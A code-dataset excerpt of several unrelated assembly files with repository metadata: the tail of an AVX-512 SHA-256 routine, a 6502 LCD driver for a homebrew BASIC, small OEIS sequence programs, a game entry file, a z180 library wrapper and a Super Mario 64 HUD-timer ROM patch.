MSG_SCHED_ROUND_00_15(W11, 11, skipNext11) PROCESS_LOOP(W12, 60, E, F, G, H, A, B, C, D) MSG_SCHED_ROUND_00_15(W12, 12, skipNext12) PROCESS_LOOP(W13, 61, D, E, F, G, H, A, B, C) MSG_SCHED_ROUND_00_15(W13, 13, skipNext13) PROCESS_LOOP(W14, 62, C, D, E, F, G, H, A, B) MSG_SCHED_ROUND_00_15(W14, 14, skipNext14) PROCESS_LOOP(W15, 63, B, C, D, E, F, G, H, A) MSG_SCHED_ROUND_00_15(W15, 15, skipNext15) // Add old digest vmovdqu32 TMP2, A vmovdqu32 A, [SCRATCH + 64*0] vpaddd A{k1}, A, TMP2 vmovdqu32 TMP2, B vmovdqu32 B, [SCRATCH + 64*1] vpaddd B{k1}, B, TMP2 vmovdqu32 TMP2, C vmovdqu32 C, [SCRATCH + 64*2] vpaddd C{k1}, C, TMP2 vmovdqu32 TMP2, D vmovdqu32 D, [SCRATCH + 64*3] vpaddd D{k1}, D, TMP2 vmovdqu32 TMP2, E vmovdqu32 E, [SCRATCH + 64*4] vpaddd E{k1}, E, TMP2 vmovdqu32 TMP2, F vmovdqu32 F, [SCRATCH + 64*5] vpaddd F{k1}, F, TMP2 vmovdqu32 TMP2, G vmovdqu32 G, [SCRATCH + 64*6] vpaddd G{k1}, G, TMP2 vmovdqu32 TMP2, H vmovdqu32 H, [SCRATCH + 64*7] vpaddd H{k1}, H, TMP2 kmovq k1, mask JMP lloop lastLoop: // Process last 16 rounds PROCESS_LOOP( W0, 48, A, B, C, D, E, F, G, H) PROCESS_LOOP( W1, 49, H, A, B, C, D, E, F, G) PROCESS_LOOP( W2, 50, G, H, A, B, C, D, E, F) PROCESS_LOOP( W3, 51, F, G, H, A, B, C, D, E) PROCESS_LOOP( W4, 52, E, F, G, H, A, B, C, D) PROCESS_LOOP( W5, 53, D, E, F, G, H, A, B, C) PROCESS_LOOP( W6, 54, C, D, E, F, G, H, A, B) PROCESS_LOOP( W7, 55, B, C, D, E, F, G, H, A) PROCESS_LOOP( W8, 56, A, B, C, D, E, F, G, H) PROCESS_LOOP( W9, 57, H, A, B, C, D, E, F, G) PROCESS_LOOP(W10, 58, G, H, A, B, C, D, E, F) PROCESS_LOOP(W11, 59, F, G, H, A, B, C, D, E) PROCESS_LOOP(W12, 60, E, F, G, H, A, B, C, D) PROCESS_LOOP(W13, 61, D, E, F, G, H, A, B, C) PROCESS_LOOP(W14, 62, C, D, E, F, G, H, A, B) PROCESS_LOOP(W15, 63, B, C, D, E, F, G, H, A) // Add old digest vmovdqu32 TMP2, A vmovdqu32 A, [SCRATCH + 64*0] vpaddd A{k1}, A, TMP2 vmovdqu32 TMP2, B vmovdqu32 B, [SCRATCH + 64*1] vpaddd B{k1}, B, TMP2 vmovdqu32 TMP2, C vmovdqu32 C, [SCRATCH + 64*2] vpaddd C{k1}, C, TMP2 vmovdqu32 TMP2, D vmovdqu32 D, [SCRATCH + 64*3] vpaddd D{k1}, D, TMP2 vmovdqu32 TMP2, E vmovdqu32 E, [SCRATCH + 64*4] vpaddd E{k1}, E, TMP2 vmovdqu32 TMP2, F vmovdqu32 F, [SCRATCH + 64*5] vpaddd F{k1}, F, TMP2 vmovdqu32 TMP2, G vmovdqu32 G, [SCRATCH + 64*6] vpaddd G{k1}, G, TMP2 vmovdqu32 TMP2, H vmovdqu32 H, [SCRATCH + 64*7] vpaddd H{k1}, H, TMP2 // Write out digest vmovdqu32 [STATE + 0*SHA256_DIGEST_ROW_SIZE], A vmovdqu32 [STATE + 1*SHA256_DIGEST_ROW_SIZE], B vmovdqu32 [STATE + 2*SHA256_DIGEST_ROW_SIZE], C vmovdqu32 [STATE + 3*SHA256_DIGEST_ROW_SIZE], D vmovdqu32 [STATE + 4*SHA256_DIGEST_ROW_SIZE], E vmovdqu32 [STATE + 5*SHA256_DIGEST_ROW_SIZE], F vmovdqu32 [STATE + 6*SHA256_DIGEST_ROW_SIZE], G vmovdqu32 [STATE + 7*SHA256_DIGEST_ROW_SIZE], H VZEROUPPER RET // // Tables // DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x000(SB)/8, $0x0405060700010203 DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x008(SB)/8, $0x0c0d0e0f08090a0b DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x010(SB)/8, $0x0405060700010203 DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x018(SB)/8, $0x0c0d0e0f08090a0b DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x020(SB)/8, $0x0405060700010203 DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x028(SB)/8, $0x0c0d0e0f08090a0b DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x030(SB)/8, $0x0405060700010203 DATA PSHUFFLE_BYTE_FLIP_MASK<>+0x038(SB)/8, $0x0c0d0e0f08090a0b GLOBL PSHUFFLE_BYTE_FLIP_MASK<>(SB), 8, $64 DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x000(SB)/8, $0x0000000000000000 DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x008(SB)/8, $0x0000000000000001 DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x010(SB)/8, $0x0000000000000008 DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x018(SB)/8, $0x0000000000000009 DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x020(SB)/8, $0x0000000000000004 DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x028(SB)/8, $0x0000000000000005 DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x030(SB)/8, $0x000000000000000C DATA PSHUFFLE_TRANSPOSE16_MASK1<>+0x038(SB)/8, $0x000000000000000D GLOBL PSHUFFLE_TRANSPOSE16_MASK1<>(SB), 8, $64 DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x000(SB)/8, $0x0000000000000002 DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x008(SB)/8, $0x0000000000000003 DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x010(SB)/8, $0x000000000000000A DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x018(SB)/8, $0x000000000000000B DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x020(SB)/8, $0x0000000000000006 DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x028(SB)/8, $0x0000000000000007 DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x030(SB)/8, $0x000000000000000E DATA PSHUFFLE_TRANSPOSE16_MASK2<>+0x038(SB)/8, $0x000000000000000F GLOBL PSHUFFLE_TRANSPOSE16_MASK2<>(SB), 8, $64
48.761281
117
0.551658
e86491ecff8e7a4f5cd2985a7a7a65a797ab28fe
3,441
asm
Assembly
code/6502/basic/drivers/output_lcd_12864.asm
visrealm/hbc-56
9c082946e247e79edc12867299b5b0fda3b6c873
[ "MIT" ]
65
2021-07-22T10:32:02.000Z
2022-03-30T04:42:45.000Z
code/6502/basic/drivers/output_lcd_12864.asm
visrealm/hbc-56
9c082946e247e79edc12867299b5b0fda3b6c873
[ "MIT" ]
5
2022-03-29T20:23:57.000Z
2022-03-30T23:12:42.000Z
code/6502/basic/drivers/output_lcd_12864.asm
visrealm/hbc-56
9c082946e247e79edc12867299b5b0fda3b6c873
[ "MIT" ]
4
2021-12-30T17:13:23.000Z
2022-03-05T09:07:22.000Z
; Troy's HBC-56 - BASIC - Output (128x64 Graphics LCD) ; ; Copyright (c) 2021 Troy Schrapel ; ; This code is licensed under the MIT license ; ; https://github.com/visrealm/hbc-56 ; TILE_OFFSET = HBC56_USER_ZP_START + 3 !align 255, 0 c64FontData: !bin "lcd/fonts/c64-font-ascii.bin" onVsync: lda HBC56_TICKS beq .doCursor cmp #30 beq .doCursor rts .doCursor: lda HBC56_TICKS beq + lda #' ' jmp ++ + lda #$ff ++ sty HBC56_TMP_Y ldy TILE_OFFSET sta TILEMAP_DEFAULT_BUFFER_ADDRESS, y ldy HBC56_TMP_Y jsr tilemapRenderToLcd rts ; ----------------------------------------------------------------------------- ; hbc56SetupDisplay - Setup the display (LCD) ; ----------------------------------------------------------------------------- hbc56SetupDisplay: sei jsr lcdInit jsr lcdClear jsr lcdGraphicsMode +tilemapCreateDefault (TILEMAP_SIZE_X_16 | TILEMAP_SIZE_Y_8), c64FontData lda #0 sta TILE_OFFSET !ifdef tmsInit { +hbc56SetVsyncCallback onVsync +tmsEnableInterrupts } rts ; ----------------------------------------------------------------------------- ; hbc56Out - EhBASIC output subroutine (for HBC-56 LCD) ; ----------------------------------------------------------------------------- ; Inputs: A - ASCII character (or code) to output ; Outputs: A - must be maintained ; ----------------------------------------------------------------------------- hbc56Out: sei ; disable interrupts during output stx SAVE_X sty SAVE_Y sta SAVE_A cmp #ASCII_RETURN beq .newline cmp #ASCII_BACKSPACE beq .backspace cmp #ASCII_BELL ; bell (end of buffer) beq .bellOut cmp #ASCII_CR ; omit these beq .endOut ; regular character ldy TILE_OFFSET sta TILEMAP_DEFAULT_BUFFER_ADDRESS, y inc TILE_OFFSET jsr checkTileOffset .endOut: ; just render this row lda TILE_OFFSET lsr lsr lsr lsr tay jsr tilemapRenderRowToLcd ldx SAVE_X ldy SAVE_Y lda SAVE_A cli rts .bellOut jsr hbc56Bell jmp .endOut .newline lda #' ' ldy TILE_OFFSET sta TILEMAP_DEFAULT_BUFFER_ADDRESS, y ; just render this row lda TILE_OFFSET lsr lsr lsr lsr tay jsr tilemapRenderToLcd lda TILE_OFFSET clc adc #16 and #$F0 sta TILE_OFFSET jsr checkTileOffset jmp .endOut .backspace lda #' ' ldy TILE_OFFSET sta TILEMAP_DEFAULT_BUFFER_ADDRESS, y dec TILE_OFFSET ldy TILE_OFFSET lda #' ' sta TILEMAP_DEFAULT_BUFFER_ADDRESS, y jmp .endOut rts checkTileOffset: lda TILE_OFFSET cmp #128 bcc .offsetOk ; scroll ldx #0 ldy #16 - lda TILEMAP_DEFAULT_BUFFER_ADDRESS, y sta TILEMAP_DEFAULT_BUFFER_ADDRESS, x inx iny cpy #128 bne - lda #128-16 sta TILE_OFFSET ; clear the last row +memset TILEMAP_DEFAULT_BUFFER_ADDRESS + 128 - 16, ' ', 16 jsr tilemapRenderToLcd .offsetOk rts
20.241176
79
0.505086
abaff2178a6fc2e99a61320b814b51820a39d55d
657
asm
Assembly
programs/oeis/115/A115362.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/115/A115362.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/115/A115362.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A115362: Row sums of ((1,x) + (x,x^2))^(-1)*((1,x)-(x,x^2))^(-1) (using Riordan array notation). ; 1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1 add $0,1 gcd $0,1073741824 log $0,4 mov $1,$0 add $1,1
73
501
0.512938
e4159c27e3906f3662e8ff9a8828115c42f80faf
653
asm
Assembly
Cmain.asm
ItaiCuker/Assembly8086CrossyRoad
414e0403edebe376f1151b965daafb9f27c48f7e
[ "MIT" ]
null
null
null
Cmain.asm
ItaiCuker/Assembly8086CrossyRoad
414e0403edebe376f1151b965daafb9f27c48f7e
[ "MIT" ]
null
null
null
Cmain.asm
ItaiCuker/Assembly8086CrossyRoad
414e0403edebe376f1151b965daafb9f27c48f7e
[ "MIT" ]
null
null
null
include cmacros.asm IDEAL MODEL small STACK 100h DATASEG include 'Cphotos.asm' include 'Cdigits.asm' include 'Cdata.asm' CODESEG include 'CLine.asm' include 'CFileP.asm' include 'Cprocs.asm' include 'CpicProc.asm' include 'Cworld.asm' include 'Carray.asm' include 'CInd.asm' include 'Cscore.asm' include 'Cdiff.asm' include 'Cchicken.asm' start: mov ax, @data mov ds, ax ;graphic mode call graphic ;taking first time taketick call randomizer mov [Seed], dx call Cstart exit: ;---------------------------------- ;back to text mode. call text mov ax, 4c00h int 21h END start
14.840909
36
0.632466
bcd2cf3136aae2ff179b0b85b3f2fc658934b04b
550
asm
Assembly
programs/oeis/311/A311536.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/311/A311536.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/311/A311536.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A311536: Coordination sequence Gal.6.120.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,4,8,12,17,22,27,32,37,42,46,50,54,58,62,66,71,76,81,86,91,96,100,104,108,112,116,120,125,130,135,140,145,150,154,158,162,166,170,174,179,184,189,194,199,204,208,212,216,220 mov $2,$0 add $2,1 mov $4,$0 lpb $2,1 mov $0,$4 sub $2,1 sub $0,$2 mov $3,$0 lpb $0,1 sub $0,1 add $3,2 div $3,2 mod $3,6 add $3,1 lpe add $3,1 add $1,$3 lpe
25
177
0.638182
a7f4d635caa374603ec5028620455f7a57eaeaba
244
asm
Assembly
libsrc/_DEVELOPMENT/z180/c/sdcc/z180_otimr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/z180/c/sdcc/z180_otimr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/z180/c/sdcc/z180_otimr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void *z180_otimr(void *src, uint8_t port, uint8_t num) SECTION code_clib SECTION code_z180 PUBLIC _z180_otimr EXTERN asm_z180_otimr _z180_otimr: pop af pop hl pop bc push bc push hl push af jp asm_z180_otimr
11.619048
56
0.70082
90bece02e5a3814adc9ba02ff0783e502fd9439b
3,234
asm
Assembly
data/examples/N64/Super Mario 64/armips - examples/05_HudTimer.asm
DavidSM64/SimpleArmipsGui
2876912e414e0115f4181359ae3700d4794bd4f7
[ "MIT" ]
10
2017-06-26T16:17:36.000Z
2020-11-18T01:36:44.000Z
bin/Release/data/examples/N64/Super Mario 64/armips - examples/05_HudTimer.asm
DavidSM64/SimpleArmipsGui
2876912e414e0115f4181359ae3700d4794bd4f7
[ "MIT" ]
null
null
null
bin/Release/data/examples/N64/Super Mario 64/armips - examples/05_HudTimer.asm
DavidSM64/SimpleArmipsGui
2876912e414e0115f4181359ae3700d4794bd4f7
[ "MIT" ]
4
2017-08-06T18:54:11.000Z
2021-02-28T11:42:39.000Z
// [ARMIPS 0.9+] HUD Timer Options Example by Davideesk // Configure Timer Options .defineLabel TIMER_SHOW_RESET, 0x00 .defineLabel TIMER_START, 0x01 .defineLabel TIMER_PAUSE, 0x02 .defineLabel TIMER_HIDE, 0x03 // DPAD button flags .defineLabel BTN_DRIGHT, 0x100 .defineLabel BTN_DLEFT, 0x200 .defineLabel BTN_DDOWN, 0x400 .defineLabel BTN_DUP, 0x800 // SM64 function addresses .defineLabel func_osViBlack, 0x80323340 .defineLabel func_DMACopy, 0x80278504 .defineLabel func_ConfigureTimer, 0x802495E0 // Custom function addresses .defineLabel func_CustomTimer, 0x80370000 .defineLabel func_CustomTimer_ROM_start, 0x7F0000 .defineLabel func_CustomTimer_ROM_end, 0x7F0100 // Call our custom function with DmaCopy from the top-most levelscript. .orga 0x108A18 .word 0x11080000, 0x8024B940 //************** DmaCopy function **************// .orga 0x6940 ; Overwrite the unused function 0x8024B940 .area 0x64 ; Set data import limit to 0x64 bytes addiu sp, sp, -0x18 sw ra, 0x14 (sp) sw a0, 0x10 (sp) ; lvl cmd 0x11 safeguard // These three are nessecary because of what we overwrote at 0x108A18. jal func_osViBlack ; call osViBlack move a0, r0 sw r0, 0x8038BE24 ; Set level accumulator to 0 // Copies 0x100 bytes from ROM addr 0x7F0000 to RAM addr 0x80370000 la a0, func_CustomTimer ; RAM address to copy to la a1, func_CustomTimer_ROM_start ; ROM address start to copy from la.u a2, func_CustomTimer_ROM_end ; ROM address end point (determines copy size) jal func_DMACopy ; call DMACopy function la.l a2, func_CustomTimer_ROM_end ; ROM address end point (determines copy size) lw v0, 0x10 (sp) ; lvl cmd 0x11 safeguard lw ra, 0x14 (sp) jr ra addiu sp, sp, 0x18 .endarea //************** Mario loop function **************// .orga 0x861C0 ; Set ROM address .area 0x90 ; Set data import limit to 0x90 bytes addiu sp, sp, -0x18 sw ra, 0x14 (sp) jal func_CustomTimer ; Call our custom timer function nop lw ra, 0x14 (sp) jr ra addiu sp, sp, 0x18 .endarea //************** Custom timer function **************// .orga func_CustomTimer_ROM_start ; Set ROM address .area 0x100 ; Set data import limit to 0x100 bytes addiu sp, sp, -0x18 sw ra, 0x14 (sp) // Check if DPAD-Right button has been pressed lw at, 0x8033AFA0 andi at, at, BTN_DRIGHT li t0, BTN_DRIGHT bne at, t0, proc80370000_left nop jal func_ConfigureTimer ; call ConfigureTimer() function li.l a0, TIMER_START ; start/resume timer proc80370000_left: // Check if DPAD-Left button has been pressed lw at, 0x8033AFA0 andi at, at, BTN_DLEFT li t0, BTN_DLEFT bne at, t0, proc80370000_up nop jal func_ConfigureTimer ; call ConfigureTimer() function li.l a0, TIMER_PAUSE ; pause timer proc80370000_up: // Check if DPAD-Up button has been pressed lw at, 0x8033AFA0 andi at, at, BTN_DUP li t0, BTN_DUP bne at, t0, proc80370000_down nop jal func_ConfigureTimer ; call ConfigureTimer() function li.l a0, TIMER_SHOW_RESET ; show and reset timer proc80370000_down: // Check if DPAD-Down button has been pressed lw at, 0x8033AFA0 andi at, at, BTN_DDOWN li t0, BTN_DDOWN bne at, t0, proc80370000_end nop jal func_ConfigureTimer ; call ConfigureTimer() function li.l a0, TIMER_HIDE ; show and reset timer proc80370000_end: lw ra, 0x14 (sp) jr ra addiu sp, sp, 0x18 .endarea
26.080645
80
0.758194
2937416208c6536845ced85f75492c45a5c6bc6c
477
asm
Assembly
oeis/293/A293626.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/293/A293626.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/293/A293626.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A293626: Numbers of the form (2^(2p) + 1)/5, where p is a prime > 5. ; Submitted by Jamie Morken(r1) ; 3277,838861,13421773,3435973837,54975581389,14073748835533,57646075230342349,922337203685477581,3777893186295716170957,967140655691703339764941,15474250491067253436239053,3961408125713216879677197517,16225927682921336339157801028813 add $0,3 seq $0,6005 ; The odd prime numbers together with 1. sub $0,2 mov $2,4 pow $2,$0 mov $0,$2 div $0,15360 mul $0,49152 add $0,3277
34.071429
234
0.790356
e7bde58cab889a1635e60c73303ee5d4a59d0f40
491
asm
Assembly
programs/oeis/023/A023524.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/023/A023524.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/023/A023524.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A023524: Number of distinct prime divisors of prime(n)*prime(n-1) + 1. ; 1,1,1,2,3,2,3,2,3,2,3,3,4,3,3,3,3,3,3,4,2,3,3,2,3,4,3,4,2,3,4,4,3,3,3,3,2,3,4,3,3,3,4,2,3,3,5,3,5,3,3,2,3,3,2,4,3,3,3,3,3,4,3,3,3,4,3,3,4,3,3,4,4,3,3,4,4,4,4,6,3,4,3,2,2,3,2,4,5,4,3,2,4,4,4,4,2,4,3,2 seq $0,8578 ; Prime numbers at the beginning of the 20th century (today 1 is no longer regarded as a prime). seq $0,13636 ; n*nextprime(n). seq $0,1221 ; Number of distinct primes dividing n (also called omega(n)).
70.142857
201
0.629328